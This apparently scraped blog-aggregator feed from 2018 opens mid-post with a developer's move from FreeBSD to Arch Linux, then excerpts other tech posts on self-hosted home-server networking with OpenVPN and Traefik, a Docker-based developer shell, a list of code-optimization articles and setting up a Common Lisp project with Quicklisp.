It would often end up taking 10-30 seconds for a git push to happen. It would take minutes to pull new Docker images, etc. This (like everything else) does not mean you cannot do work on FreeBSD CURRENT, it makes it really annoying.

Appendix A - Headphones

I couldn't figure out the headphone jack at all. Configuring outputs via sysctl and device.hints is either really complicated or presented in documentation really complicatedly. I posted a few times in #freebsd on Freenode and got eager assistance but ultimately couldn't get the headphone jack to produce anything without incredible distortion.

Of course Spotify has no FreeBSD client and I didn't want to try the Linux compatiblity layer (which may have worked). I tried spoofing user agents for the Spotify web app in Chrome but couldn't find one that worked. (I still cannot get a working one on Linux either.) So I'd end up listening to Spotify on my phone, which would have been acceptable except for that the studio headphones I decided I needed were immensely under-powered by my phone.

Appendix B - Yubikey

I couldn't figure out how to give myself non-root access to my Yubikey which I believe is the reason I ultimately wasn't able to make any use of it. Though admittedly I don't understand a whit of GPG/PGP or Yubikey itself.

Appendix C - bhyve

I really wanted to use bhyve as the hypervisor for my CentOS virtual machines instead of VirtualBox. So I spent 2-3 weekends trying to get it working as a backend for Vagrant. Unfortunately the best "supported" way of doing this is to manually mutate VirtualBox-based Vagrant boxes and that just repeatedly didn't work for me.

When I tried using bhyve directly I couldn't get networking right. Presumably this is because NAT doesn't work well with wireless interfaces... And I hadn't put in enough weekends to understand setting up proxy rules correctly.

Appendix D - Synaptics

It is my understanding that FreeBSD has its own custom Synaptics drivers and configuration interfaces. Whether that is the case or not, the documentation is a nightmare and while I would have loved to punt to a graphical interface to prevent from fat-palming the touchpad every 30 seconds, none of the graphical configuration tools seemed to work.

A few weeks ago I think I finally got the synaptics support on but I couldn't scroll or select text anymore. I also had to disable synaptics, restart X, enable synaptics, and restart X on each boot for it to successfully register the mouse. I meant to post in #freebsd on Freenode where I probably would have found a solution but :shrugs:.

Appendix E - Sleep

Well sleep doesn't really work on any modern operating system.

FreeBSD is awesome

I enjoy picking on my setup, but it should be impressive that you can do real-world work on FreeBSD. If I had a 3-4 year old laptop instead of a 1-2 year old laptop, most of my issues would be solved.

Here are some reasons to like FreeBSD.

Less competition

This is kind of stupid. But it's easier to find work to do (e.g. docs to fix, bugs to report, ports to add/update, drivers to test) on FreeBSD. I'm really disappointed to be back on Linux because I like being closer to the community and knowing there are ways I can contribute and learn. It's difficult to find the right combination of fending/learning for yourself and achieving a certain level of productivity.

Package management (culture)

Rolling packages are really important to me as a developer. When I've run Ubuntu and Debian desktops in the past, I typically built 5-15 major (to my workflow) components from source myself. This is annoying. Rolling package systems are both easier to use and easier to contribute to... The latter point may be a coincidence.

In FreeBSD, packages are rolling and the base system (kernel + userland) is released every year or two if you run the recommended/supported "flavors" of FreeBSD (i.e. not CURRENT). If you're running CURRENT then everything is rolling.

Packages are binary, but you can build them from source if needed.

Source

FreeBSD has an older code base than Linux does but still manages to be much better organized. OpenBSD and Minix are even better organized but I don't consider them in the grouping as mainstream general-purpose operating systems like FreeBSD and Linux. Linux is an awful mess and is very intimidating, though I hope to get over that.

Old-school interfaces

There's no systemd so starting X is as simple as startx (but you can enable the login manager service to have it launch on boot). You configure your network interfaces via ifconfig, wpa_supplicant, and dhclient.

Alternatives

PCBSD or TrueOS may be a good option for desktop users but something about the project turns me off (maybe it's the scroll-jacking website).

Picking Arch Linux

In any case, I decided it was time to stop waiting for git push to finish. I had run Gentoo at work for 3-4 months before I installed FreeBSD. But I still had nightmares of resolving dependencies during upgrades. I needed a binary package manager (not hard to find) and a rolling release system.

Installing Arch stinks

Many of my old coworkers at Linode run Arch Linux at home so I've looked into it a few times. It absolutely meets my rolling release and binary packaging needs. But I've been through the installation once before (and I've been through Gentoo's) and loathed the minutes-long effort required to set up full-disk encryption. Also, systemd? :(

How about Void Linux?

Void Linux looked promising and avoids systemd (which legitimately adds complexity and new tools to learn for desktop users with graphics and WiFi/DHCP networking). It has a rolling release system and binary packages, but overall didn't seem popular enough. I worried I'd be in the same boat as in Debian/Ubuntu building lots of packages myself.

What about Arch-based distros?

Eventually I realized Antergos and Manjaro are two (Distrowatch-rated) popular distributions that are based on Arch and would provide me with the installer I really wanted. I read more about Manjaro and found it was pretty divergent from Arch. That didn't sound appealing. Divergent distributions like Manjaro and Mint exist to cause trouble. Antergos, on the other hand, seemed to be a thin layer around Arch including a graphical installer and its own few package repositories. It seemed easy enough to remove after the installation was finished.

Antergos Linux

I ran the Antergos installer and the first time around, my touchpad didn't work at all. I tried a USB mouse (that to be honest, may have been broken anyway) but it didn't seem to be recognized. I rebooted and my touchpad worked.

I tried to configure WiFi using the graphical NetworkManager provided but it was super buggy. Menus kept expanding and contracting as I moused over items. And it ultimately never prompted me for a password to the locked networks around me. (It showed lock icons beside the locked networks.)

I spent half an hour trying to configure the WiFi manually. After I got it working (and "learned" all the fun new modern tools like ip, iw, dhcpcd, iwconfig, and systemd networking), the Antergos installer would crash at the last step for some error related to not being able to update itself.

At this point I gave up. The Antergos installer was half-baked, buggy, and was getting me nowhere.

Anarchy Linux

Still loathe to spend a few minutes configuring disk encryption manually, I interneted until I found Anarchy Linux (which used to be Arch Anywhere).

This installer seemed even more promising. It is a TUI installer so no need for a mouse and there are more desktop environments to pick from (including i3 and Sway) or avoid.

It was a little concerning that Anarchy Linux also intends to be its own divergent Arch-based distribution, but in the meantime it still offers support for installing vanilla Arch.

It worked.

Life on Arch

I copied over all my configs from my FreeBSD setup and they all worked. That's pretty nice (also speaks to the general compatibility of software between Linux and FreeBSD). StumpWM, SLiM, scrot, xscreensaver, feh, Emacs, Tmux, ssh, kubectl, font settings, keyboarding bindings, etc.

Getting Powerline working was a little weird. The powerline and powerline-fonts packages don't seem to install patched fonts (e.g. Noto Sans for Powerline). I prefer to use these than the alternative of specifying multiple fonts for fallbacks because I have font settings in multiple places (e.g. .Xresources, .emacs, etc) and the syntax varies in each config. So ultimately I cloned the github.com/powerline/fonts repo and ran the install.sh script there to get the patched fonts.

But hey, there's a Spotify client! It works! And the headphone jack just works after installing alsa-utils and running alsamixer. And my WiFi speed is 120Mbps-250Mbps down on all the right networks!

I can live with this.

Random background

Each time I join a new company, I try to use the change as an excuse to force myself to try different workflows and learn something new tangential to the work I actually do. I'd been a Vim and Ubuntu desktop user since highschool. In 2015, I took a break from work on the East Coast to live in a school bus in Silver City, New Mexico. I swapped out my Ubuntu and Vim dev setup for FreeBSD and Emacs. I kept GNOME 3 because I liked the asthetic. I spent 6 months with this setup forcing myself to use it as my daily-driver doing full-stack, contract web development gigs.

In 2016, I joined Linode and took up the company Macbook Pro. I wasn't as comfortable at the time running Linux on my Macbook, but a determined coworker put Arch on his. I was still the only one running Emacs (everyone else used Vim or VS Code) for Python and React development.

I joined Capsule8 in late 2017 and put Gentoo on my Dell Developer Edition. Most people ran Ubuntu on the Dell or macOS. I'd never used Gentoo on a desktop before but liked the systemd-optional design and similarities to FreeBSD. I ran Gentoo for 3-4 months but was constantly breaking it during upgrades, and the monthly, full-system upgrades themselves took 1-2 days. I didn't have the chops or patience to deal with it.

So I used FreeBSD for 5 months and now I'm back on Linux.

Vignettes - Good Fight

infrequent oscillations — Tue, 24 Apr 2018 08:07:54 GMT

In which we excerpt some 'The Good Fight' vignettes.

Python SimpleHTTPServer to serve a directory

Ben E. C. Boyter — Mon, 23 Apr 2018 03:00:00 GMT

Something I always forget and have to search for is how to use Python to serve a directory for local testing and the like. Including it below so I have a copy I can always easily look it up.

python -m SimpleHTTPServer 8090

and in Python 3

python3 -m http.server

Home Server Networking

Nemo's Home — Sun, 22 Apr 2018 03:00:00 GMT

Next in the Home Server series, this post documents how I got the networking setup to serve content publicly from my under-the-tv server.

Background

My home server runs on a mix of Docker/Traefik orchestrated via Terraform. The source code is at https://git.captnemo.in/nemo/nebula (self-hosted, dogfooding FTW!) if you wanna take a look.

The ISP is ACT Bangalore¹. They offer decent bandwidth and I’ve been a customer long time.

Public Static IP

In order to host content, you need a stable public IP. Unfortunately, ACT puts all of its customers in Bangalore behind a NAT ². As a result, I decided to get a Floating IP from Digital Ocean ³.

The Static IP is attached to a cheap Digital Ocean Droplet (10$/mo). If you resolve bb8.fun, this is the IP you will get:

Name:   bb8.fun
Address: 139.59.48.222

The droplet has a public static IP of it’s own as well: 139.59.22.234. The reason I picked a Floating IP is because DO gives them for free, and I can switch between instances later without worrying about it.

Floating IP

On the Digital Ocean infrastructure side, this IP is not directly attached to an interface on your droplet. Instead, DO uses something called “Anchor IP”:

Network traffic between a Floating IP and a Droplet flows through an anchor IP, which is an IP address aliased to the Droplet’s public network interface (eth0). You should bind any public services that you want to make highly available through a Floating IP to the anchor IP.

So, now my Droplet has 2 different IPs that I can use:

Droplet Public IP (139.59.22.234), assigned directly to the eth0 interface.
Droplet Anchor IP (10.47.0.5), setup as an alias to the eth0 interface.

This doubles the number of services I can listen to. I could have (for eg) - 2 different webservers on both of these IPs.

OpenVPN

In order to establish NAT-punching connectivity between the Droplet and the Home Server, I run OpenVPN server on the Droplet and openvpn-client on the homeserver.⁴

The Digital Ocean Guide is a great resource if you ever have to do this. 2 specific IPs on the OpenVPN network are marked as static:

Droplet: 10.8.0.1
Home Server: 10.8.0.14

Home Server - Networking

The server has a private static IP assigned to its eth0 interface
It also has a private static IP assiged to its tun0 interface

There are primarily 3 kinds of services that I like to run:

Accessible only from within the home network (Timemachine backups, for eg) (Internal). This I publish on the eth0 interface.
Accessible only from the public internet (Wiki) (Strictly Public). These I publish on the tun0 interface and proxy via the droplet.
Accessible from both places (Emby, AirSonic) (Public). These I pubish on both tun0 and the eth0 interface on the homeserver.

Docker Networking Basics

Docker runs its own internal network for services, and lets you “publish” these services by forwarding traffic from a given interface to them.

In plain docker-cli, this would be:

docker run nginx --publish 443:443,80:80 (forward traffic on 443,80 on all interfaces to the container)

Since I use Terraform, it looks like the following for Traefik:

# Admin Backend
ports {
  internal = 1111
  external = 1111
  ip       = "${var.ips["eth0"]}"
}

ports {
  internal = 1111
  external = 1111
  ip       = "${var.ips["tun0"]}"
}

# Local Web Server
ports {
  internal = 80
  external = 80
  ip       = "${var.ips["eth0"]}"
}

# Local Web Server (HTTPS)
ports {
  internal = 443
  external = 443
  ip       = "${var.ips["eth0"]}"
}

# Proxied via sydney.captnemo.in
ports {
  internal = 443
  external = 443
  ip       = "${var.ips["tun0"]}"
}

ports {
  internal = 80
  external = 80
  ip       = "${var.ips["tun0"]}"
}

There are 3 “services” exposed by Traefik on 3 ports:

Traefik Admin Interface: Useful for debugging. I leave this in Read-Only mode with no authentication. This is an Internal service
HTTP, Port 80: This redirects users to the next entrypoint (HTTPS). This is a Public service.
HTTPS, Port 443: This is where most of the traefik flows. This is a Public service.

For all 3 of the above, Docker forwards traffic from both OpenVPN, as well as the home network. OpenVPN lets me access this from my laptop when I’m not at home, which is helpful for debugging issues. However, to keep the Admin Interface internal, it is not published to the internet.

Internet Access

The “bridge” between the Floating IP and the OpenVPN IP (both on the Digital Ocean droplet) is simpleproxy. It is a barely-maintained 200 line TCP-proxy. I picked it up because of its ease of use as a TCP Proxy. I specifically looked for a TCP Proxy because:

I did not want to terminate SSL on Digital Ocean, since Traefik was already doing LetsEncrypt cert management for me
I also wanted to proxy non-web services (more below).

The simpleproxy configuration consists of a few systemd units:

[Service]
Type=simple
WorkingDirectory=/tmp
# Forward Anchor IP 80 -> Home Server VPN 80
ExecStart=/usr/bin/simpleproxy -L 10.47.0.5:80 -R 10.8.0.14:80
Restart=on-abort

[Install]
WantedBy=multi-user.target

[Unit]
Description=Simple Proxy
After=network.target

I run 3 of these: 2 for HTTP/HTTPS, and another one for SSH.

While I use simpleproxy for its stability and simplicity, you could also use iptables to achieve the same result.

SSH Tunelling

When I’m on the go, there are 3 different SSH services I might need:

Digital Ocean Droplet
Home Server
Git (gitea runs its own internal git server)

My initial plan was:

Forward Port 22 Floating IP Traffic to Gitea.
Use the eth0 interface on the droplet to run the droplet sshd service.
Keep the Home Server SSH forwarded to OpenVPN, so I can access it over the VPN network.

Unfortunately, that didn’t work out well, because sshd doesn’t support listening on an Interface. I could have used the Public Droplet IP, but I didn’t like the idea.

The current setup instead involves:

Running the droplet sshd on a separate port entirely (2222).
The simpleproxy service forwarding port 22 traefik to 2222 on OpenVPN IP which is then published by Docker to the gitea container’s port 22.

The complete traefik configuration is also available if you wanna look at the entrypoints in detail.

Caveats

Traefik Public Access

You might have noticed that because traefik is listening on both eth0 and tun0, there is no guarantee of a “strictly internal” service via Traefik. Traefik just uses the Host headers in the request (or SNI) to determine the container to which it needs to forward the request. I use *.in.bb8.fun for internaly accessible services, and *.bb8.fun for public. But if someone decides to spoof the headers, they can access the Internal service.

Since I’m aware of the risk, I do not publish anything via traefik that I’m not comfortable putting on the internet. Only a couple of services are marked as “internal-also”, and are published on both. Services like Prometheus are not published via Traefik.

2 Servers

Running and managing 2 servers takes a bit more effort, and has more moving parts. But I use the droplet for other tasks as well (running my DNSCrypt Server, for eg).

Original IP Address

Since SimpleProxy does not support the Proxy Protocol, both Traefik and Gitea/SSH servers don’t get informed about the original IP Address. I plan to fix that by switching to HAProxy TCP-mode.

If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:

If you have any comments, reach out to me

If you get lucky with their customer support, some of the folks I know have a static public IP on their home setup. In my case, they asked me to upgrade to a corporate plan. ↩
I once scanned their entire network using masscan. It was fun: https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775 ↩
AWS calls its “permanent” IP addresses “Elastic” and Digital Ocean calls them “Floating”. We really need better names in this industry. ↩
Migrating to Wireguard is on my list, but I haven’t found any good documentation on running a hub-spoke network so far. ↩

Xonsh and Midnight Commander

Beetle Space — Sat, 21 Apr 2018 10:00:00 GMT

At some point in the last year, I switched to the xonsh shell. It is a bash-like shell written in Python. The nice thing about it is you can write your scripts using Python syntax. Another nice thing is you can use it in Windows.

One of the headaches with …

Managing a developer shell with Docker

Henri Bergius — Thu, 19 Apr 2018 03:00:00 GMT

When I’m not in Flowhub-land, I’m used to developing software in a quite customized command line based development environment. Like for many, the cornerstones of this for me are vim and tmux.

As customization increases, it becomes important to have a way to manage that and distribute it across the different computers. For years, I’ve used a dotfiles repository on GitHub together with GNU Stow for this.

However, this still means I have to install all the software and tools before I can have my environment up and running.

Using Docker

Docker is a tool for building and running software in a containerized fashion. Recently Tiago gave me the inspiration to use Docker not only for distributing production software, but also for actually running my development environment.

Taking ideas from his setup, I built upon my existing dotfiles and built a reusable developer shell container.

With this, I only need Docker installed on a machine, and then I’m two commands away from having my normal development environment:

$ docker volume create workstation
$ docker run -v ~/Projects:/projects -v workstation:/root -v ~/.ssh:/keys --name workstation --rm -it bergie/shell

Here’s how it looks in action:

Once I update my Docker setup (for example to install or upgrade some tool), I can get the latest version on a machine with:

$ docker pull bergie/shell

At least in theory this should give me a fully identical working environment regardless of the host machine. Linux VPS, a MacBook, or a Windows machine should all be able to run this. And soon, this should also work out of the box on Chromebooks.

Setting this up

The basics are pretty simple. I already had a repository for my dotfiles, so I only needed to write a Dockerfile to install and set up all my software.

To make things even easier, I configured Travis so that every time I push some change to the dotfiles repository, it will create and publish a new container image.

Further development ideas

So far this setup seems to work pretty well. However, here are some ideas for further improvements:

ARM build: Sometimes I need to work on Raspberry Pis. It might be nice to cross-compile an ARM version of the same setup
Key management: Currently I create new SSH keys for each host machine, and then upload them to the relevant places. With this setup I could use a USB stick, or maybe even a Yubikey to manage them
Application authentication: Since the Docker image is public, it doesn’t come with any secrets built in. This means I still need to authenticate with tools like NPM and Travis. It might be interesting to manage these together with my SSH keys
SSH host: with some tweaking it might be possible to run the same container on cloud services. Then I’d need a way to get my SSH public keys there and start an SSH server

If you have ideas on how to best implement the above, please get in touch.

Nespresso Blends - a comprehensive spreadsheet

Subclassed — Mon, 16 Apr 2018 22:30:23 GMT

As a faithful Nespresso user, I was a bit shocked last month when I discovered one of my favourite blends contained Robusta. I had always assumed all blends were 100% Arabica and alas, that was not the case. So I started looking up what is what, but I was quickly overwhelmed - I wasn't going to browse through 24 pages of slow-loading images to read all blurbs. Enter Python.

As it often happens, the situation degenerated quickly. The result is an Excel spreadsheet (also available in Google Docs), listing all attributes of all blends so that you can filter out what you need. Decaffeinated varieties are highlighted, because that's not real coffee 😁

Sloc Cloc and Code - What happened on the way to faster Cloc

Ben E. C. Boyter — Mon, 16 Apr 2018 03:00:00 GMT

It started by wanting to write a code counter that would be faster than cloc

Update 2019-03-13

TL/DR

Fun With Machine Learning

infrequent oscillations — Wed, 11 Apr 2018 16:33:59 GMT

In which we train a neural network.

Highlands Festival of Speed 2018

smcleod.net — Wed, 11 Apr 2018 03:00:00 GMT

Last weekend I headed to New Zealand and marshalled at the Highlands Festival of Speed.

The Highlands Festival of Speed is a weekend packed with some of the best modern classic racing you will see in New Zealand. Featuring the Pre 65 Racing, Mainland Muscle, Formula Libre, South Island Porsche, OSCA, Highlands Modern Classics/Nostalgic Classics and the Highlands Sprint Series. This is a weekend of true blue Kiwi racing starring some of New Zealand’s most well known racing legends.

How not to make an april fools joke

Tom Forbes — Sun, 08 Apr 2018 03:00:00 GMT

Picture the scene. You’ve recently installed the awesome Lineage OS on your android device and are enjoying it so far. You install an update, it all goes smoothly, but upon restarting you are presented with this notification: What You press on the notification and you’re taken to the Lineage changel...

Vignettes 3

infrequent oscillations — Fri, 06 Apr 2018 23:11:20 GMT

Vignettes for Black Sheep, 2006

Quick Guide to setup your React + Typescript Storybook Design System

swyx's site RSS Feed — Thu, 05 Apr 2018 20:58:13 GMT

a no-bs guide to set up your new React and Typescript Design System powered by Storybook!

Try React Suspense In 5 Minutes

swyx's site RSS Feed — Wed, 04 Apr 2018 00:39:13 GMT

Source Code for Life v0.1

swyx's site RSS Feed — Mon, 02 Apr 2018 00:40:54 GMT

Compiled Insights for Infinite Learners

React Suspense Q&A

swyx's site RSS Feed — Wed, 28 Mar 2018 00:02:17 GMT

a friendly cheat sheet for those wondering what React Suspense is and if they should care

Vignettes redux

infrequent oscillations — Tue, 27 Mar 2018 00:01:20 GMT

In which we summarise some films through subtitle actions.

Appstores need a Trial Mode

Subclassed — Mon, 26 Mar 2018 10:00:12 GMT

I've been looking for a while for a Windows-native Twitter client that could sync with my other non-Windows devices (aka "supporting TweetMarker"). I've found one that claims to do that, Tweet It!, but there is a problem: it costs £3.5 upfront. That's a relatively high amount of money to throw down a well hoping that my wish will come true. However, because this feature is so rare, if it worked I'd be happy to pay three times as much, no questions asked. I just have no way to find out.

Appstores need a simple Trial Mode. All the current hacks (In-App-Purchases, subscriptions, refunds etc) are just that, clumsy workarounds to this glaring omission, which is why app prices are so squeezed down - to the chagrin of indie developers. Trial Mode would also bring huge collateral benefits like reducing reliance on SaaS services (something that Microsoft in particular should relish) and creating viable alternatives to the free-to-play bubble that has turned online gaming into a socially-accepted form of gambling addiction.

I doubt Apple will ever introduce Trial Mode - they are the dominant player and have little incentive to change the rules; and Android is a far west where the Play Store is almost irrelevant. But Microsoft should experiment with something like this, while the Windows Store is still young and evolving. Both developers and users would love it, they have been asking for something like this for years.

Book Review: ANSI Common Lisp

Notes on software development — Sun, 25 Mar 2018 02:00:00 GMT

Score: 4.5 / 5

Paul Graham and his editor(s) are excellent. His prose is light and easy to follow. The only awkward component of the book's organization is that he tends to use a concept one section before explicitly introducing and defining that concept. I'm not sure yet if this is a good or bad thing.

As a learning resource

Among books recommended to potential Lispers, ANSI Common Lisp is typically written off. Graham's style of Lisp is called "non-idiomatic". That's fair, both ANSI Common Lisp and On Lisp feature aspects of Common Lisp that lend themselves to functional programming. And as those of you who've read Practical Common Lisp know, Common Lisp (unlike Scheme) was not designed to be a functional programming language. Ultimately ANSI Common Lisp covers the same topics Practical Common Lisp does, if not more. But ANSI Common Lisp is better written, in less space, and with shorter examples.

I'm impressed at Graham's ability to summarize. There is a graphic illustrating symbols as a structure composed of a name, a value, a function, a package, and a property list. Although other resources (books and otherwise) mention symbols as having one or more of these components, his graphic was the first representation that clicked for me. He also provides clarity about packages being namespaces for names (symbols) not objects or functions.

And toward the end of the book, there is a discussion on the "instance" abstraction (relative to the class definitions themselves) being more powerful than plain "objects" that carry around methods themselves. This has been the single most useful discussion on the implementation of object-oriented constructs I've read yet.

Digression on Practical Common Lisp

Practical Common Lisp is often called the best introduction to Common Lisp. After reading both, I'd give Practical Common Lisp second place or call it a tie. The issue with Practical Common Lisp is that it takes too long to get anywhere and the practical chapters themselves are just as much a slog. And for as big as it is, Practical Common Lisp still doesn't include some major (potentially confusing) aspects of "modern" Common Lisp like ASDF, Quicklisp, production deployment strategies, etc.

Even after having read Practical Common Lisp I wasn't really clear how to pull together all the libraries I needed to get anything real done (e.g. scripting against an HTTP API or interacting with a SQL database). This is not to say that Practical Common Lisp is a bad book, it is a good book. But I definitely don't recommend reading it without also reading ANSI Common Lisp. And regardless, there are still a few of those modern concepts neither book covers.

OCaml Speedrun! 🐫🐪

swyx's site RSS Feed — Sat, 24 Mar 2018 23:11:35 GMT

a guided walk through Jane Street's OCaml workshop

An update on Apple Watch

infrequent oscillations — Fri, 23 Mar 2018 02:08:09 GMT

In which we consider our update.

Migration to Hugo

infrequent oscillations — Thu, 22 Mar 2018 11:12:00 GMT

In which we migrate to Hugo.

Same great Postgres with a new player in town

CRAIG KERSTIENS — Tue, 20 Mar 2018 22:55:56 GMT

Many of us have known how great Postgres was for years.

In fact I recall a conversation with some sales engineers about 6 years ago that previously worked for a large database vendor that really no one likes down in Redwood City. They were remarking how the biggest threat to them was Postgres. At first they were able to just brush it off saying it was open source and no real database could be open source. Then as they dug in they realized there was more there than most knew about and they would have to continually be finding ways to discredit it in sales conversations. Well it doesn’t look like those SEs or the rest of that company was too successful.

Postgres is certainly having it’s moment, and I personally don’t expect it to fade soon.

An equally interesting shift I’ve watched from the outside has been Microsoft’s shift to support and engage with the open source movement. Personally that shift is extremely exciting to see, especially today as they announce their general availability of their Postgres offering. And with their announcement it looks they’re not just dabbling but shipping a very compelling offering, notably high availability is built-in which means they’re very much targetting production workloads. With their GA release there are a number of interesting boxes checked:

HIPPA, SOC, ISO compliances
99.99% uptime SLA
Available in 22 regions

Personally I’m looking forward to the new competition for Postgres users as it’ll make Postgres better and better for all. When I was at Heroku and was running product for Heroku Postgres 7 years ago we were the only large major provider. Today that landscape looks a lot different and it just means more choice and more quality if you want to run Postgres. So welcome Microsoft, I look forward to giving Azure Postgres a try.

Flash Storage and SSD Failure Rate Update (March 2018)

smcleod.net — Tue, 20 Mar 2018 02:00:00 GMT

It was almost 3 years ago that my open source storage project went into production. In that time it’s been running 24/7 serving as highly available solid state storage for hundreds of VMs and several virtualisation clusters across our two main sites.

I’m happy to report that the clusters have been operating very successfully since their conception.

Since moving away from proprietary ‘black box’ vendor SANs, we haven’t had a single SAN issue, storage outage.

Introduction to MobX 4 for React/Redux Developers

swyx's site RSS Feed — Sat, 17 Mar 2018 04:19:23 GMT

an introduction to mobx 4 for people coming from react and redux

Building the Fetchr Data Science Infra on AWS with Presto and Airflow

Bytepawn - Marton Trencseni — Wed, 14 Mar 2018 01:00:00 GMT

We used Hive/Presto on AWS together with Airflow to rapidly build out the Data Science Infrastructure at Fetchr in less than 6 months.

A quick comparison between different Go file walk implementations

Ben E. C. Boyter — Sun, 11 Mar 2018 11:58:51 GMT

UPDATE The below is here for historical reasons, but since 2021 very out of date. See this post https://engineering.kablamo.com.au/posts/2021/quick-comparison-between-go-file-walk-implementations for an updated comparison.

Whats the fastest way to get all the names of all files in a directory using Go? I had a feeling that the native walk might not be the fastest way to do it. A quick search showed that several projects claimed to be faster. Since the application I am currently working on needs a high performance scanner I thought I would try the main ones out.

Collection of my favorite optimization posts and articles

Ben E. C. Boyter — Fri, 09 Mar 2018 00:34:02 GMT

A collection of my favorite posts to read and re-read about optimizing code to an extreme. Unlikely that I will ever need to go to the extremes that these very talented individuals go to but its nice to learn the techniques.

In no particular order.

Announcement of Ripgrep a tool for searching code. Brilliantly written with benchmarks and analysis to explain what is happening for each https://blog.burntsushi.net/ripgrep/ the HN comments about it are worth reading as well https://news.ycombinator.com/item?id=12564442
How Mailinator compresses email by ~90%. Very interesting use of some creative thinking and LRU caches https://mailinator.blogspot.com.au/2012/02/how-mailinator-compresses-email-by-90.html some decent HN comments as well https://news.ycombinator.com/item?id=3617074
Searching 1TB/sec: Systems Engineering Before Algorithms. Explains how using brute force solutions to solve problems can be viable if you have enough brute and can write a tight inner loop. http://blog.scalyr.com/2014/05/searching-20-gbsec-systems-engineering-before-algorithms/ the HN comments for this one are also worth reading https://news.ycombinator.com/item?id=7715025 and https://news.ycombinator.com/item?id=11783483
The Treacherous Optimization. Post about making search faster by firstly comparing to grep and analysis of how grep achieves its speed. Very amusing in the way it is written as well. http://ridiculousfish.com/blog/posts/old-age-and-treachery.html
Another from Paul Tyma of Mailinator but less about Mailinator and more about how cache misses on the CPU can impact your performance. https://mailinator.blogspot.com.au/2010/02/how-i-sped-up-my-server-by-factor-of-6.html
Another from Paul (that guy is seriously smart) about the architecture of Mailinator and some tricks it employs to run on a single server (at the time). https://mailinator.blogspot.com.au/2007/01/architecture-of-mailinator.html
Improving spelling correction algorithm. Has code as well which is useful to learn from. http://blog.faroo.com/2012/06/07/improved-edit-distance-based-spelling-correction/
Profiling Ag. Writing My Own Scandir. Written by the author of ag the code searcher. https://geoff.greer.fm/2012/09/03/profiling-ag-writing-my-own-scandir/
Another Ag post about adding threads into Ag to improve searching performance. https://geoff.greer.fm/2012/09/07/the-silver-searcher-adding-pthreads/
LMAX Distruptor interesting collection of posts about how it works https://lmax-exchange.github.io/disruptor/ the HN comments on the Martin Fowler blog are worth looking at https://news.ycombinator.com/item?id=3173993
Regular Expression Matching with a Trigram Index or How Google Code Search Worked. https://swtch.com/~rsc/regexp/regexp4.html
Excellent explanation of branch prediction and its impact on how quickly your code can run. Ran into this once with searchcode and felt like a genius when I solved it. https://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array
More branch prediction, A brief history of branch prediction by Dan Luu https://danluu.com/branch-prediction/
Branch prediction ahoy! http://igoro.com/archive/fast-and-slow-if-statements-branch-prediction-in-modern-processors/
Why Gnu Grep is fast https://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
How to write fast code http://asserttrue.blogspot.com.au/2009/03/how-to-write-fast-code.html
Regular Expression Matching Can Be Simple And Fast (but is slow in Java, Perl, PHP, Python, Ruby, …) https://swtch.com/%7Ersc/regexp/regexp1.html
Why Writing Your Own Search Engine is Hard https://queue.acm.org/detail.cfm?id=988407
Effects of CPU caches https://medium.com/@minimarcel/effect-of-cpu-caches-57db81490a7f
Neon is the New Black: fast JPEG optimization on ARM server https://blog.cloudflare.com/neon-is-the-new-black/
Beware of cute optimizations bearing gifts. Optimisations made to a fast fuzzy file matcher in Vim https://wincent.com/blog/optimization
Go code refactoring : the 23x performance hunt https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7
Shameless self promotion but what I went through when building scc which is a code counter similar to cloc https://boyter.org/posts/sloc-cloc-code/
Built for Speed: Custom Parser for Regex at Scale https://blog.scalyr.com/2018/08/custom-regex-parser/
Gallery of Processor Cache Effects http://igoro.com/archive/gallery-of-processor-cache-effects/
Making the obvious code fast https://jackmott.github.io/programming/2016/07/22/making-obvious-fast.html with interesting HN comments https://news.ycombinator.com/item?id=19680595
Optimizing M3: How Uber Halved Our Metrics Ingestion Latency by (Briefly) Forking the Go Compiler https://eng.uber.com/optimizing-m3/ https://news.ycombinator.com/item?id=19692451
Linux Load Averages: Solving the Mystery http://www.brendangregg.com/blog/2017-08-08/linux-load-averages.html
The state of caching in Go https://blog.dgraph.io/post/caching-in-go/
Introducing Ristretto: A High-Performance Go Cache https://blog.dgraph.io/post/introducing-ristretto-high-perf-go-cache/
Building a Vectorized SQL Engine. A very good read about how CPU’s work and data layouts affect it https://www.cockroachlabs.com/blog/how-we-built-a-vectorized-sql-engine/ with Hacker News comments https://news.ycombinator.com/item?id=21516322
Writing a fast cache service in Go https://allegro.tech/2016/03/writing-fast-cache-service-in-go.html
qgrep internals https://zeux.io/2019/04/20/qgrep-internals/
Scaling our Spreadsheet Engine from Thousands to Billions of Cells - From Maps to Arrays https://www.causal.app/blog/scaling

Will attempt to keep this list up to date as I find other content that really impresses me.

Starting a minimal Common Lisp project

Notes on software development — Mon, 05 Mar 2018 02:00:00 GMT

If you've only vaguely heard of Lisp before or studied Scheme in school, Common Lisp is nothing like what you'd expect. While functional programming is all the rage in Scheme, Common Lisp was "expressly designed to be a real-world engineering language rather than a theoretically 'pure' language" (Practical Common Lisp). Furthermore, SBCL -- a popular implementation -- is a highly optimized compiler that is competitive with Java.

Building blocks

Common Lisp symbols, imagine "first-class" variables/labels, are encapsulated in namespaces called packages. However packages don't account for organization across directories, among other things. So while packages are a part of the core Common Lisp language, the "cross-directory" organizational structure is managed by the (all-but-standard) ASDF "systems". You can think of packages as roughly similar to modules in Python whereas systems in ASDF are more like packages in Python.

ASDF does not manage non-local dependencies. For that we use Quicklisp, the defacto package manager. ASDF should come bundled with your Common Lisp installation, which I'll assume is SBCL (not that it matters). Quicklisp does not come bundled.

Getting Quicklisp

You can follow the notes on the Quicklisp site for installation, but the basic gist is:

$ curl -O https://beta.quicklisp.org/quicklisp.lisp
$ sbcl --load quicklisp.lisp
...
* (quicklisp-quickstart:install)
...
* ^D
$ sbcl --load "~/quicklisp/setup.lisp"
...
* (ql:add-to-init-file)

A minimal package

Now we're ready to get started. Create a directory using the name of the library you'd like to package. For instance, I'll create a "cl-docker" directory for my Docker wrapper library. Then create a file using the same name in the directory with the ".asd" suffix:

$ cd ~/projects
$ mkdir cl-docker
$ touch cl-docker/cl-docker.asd

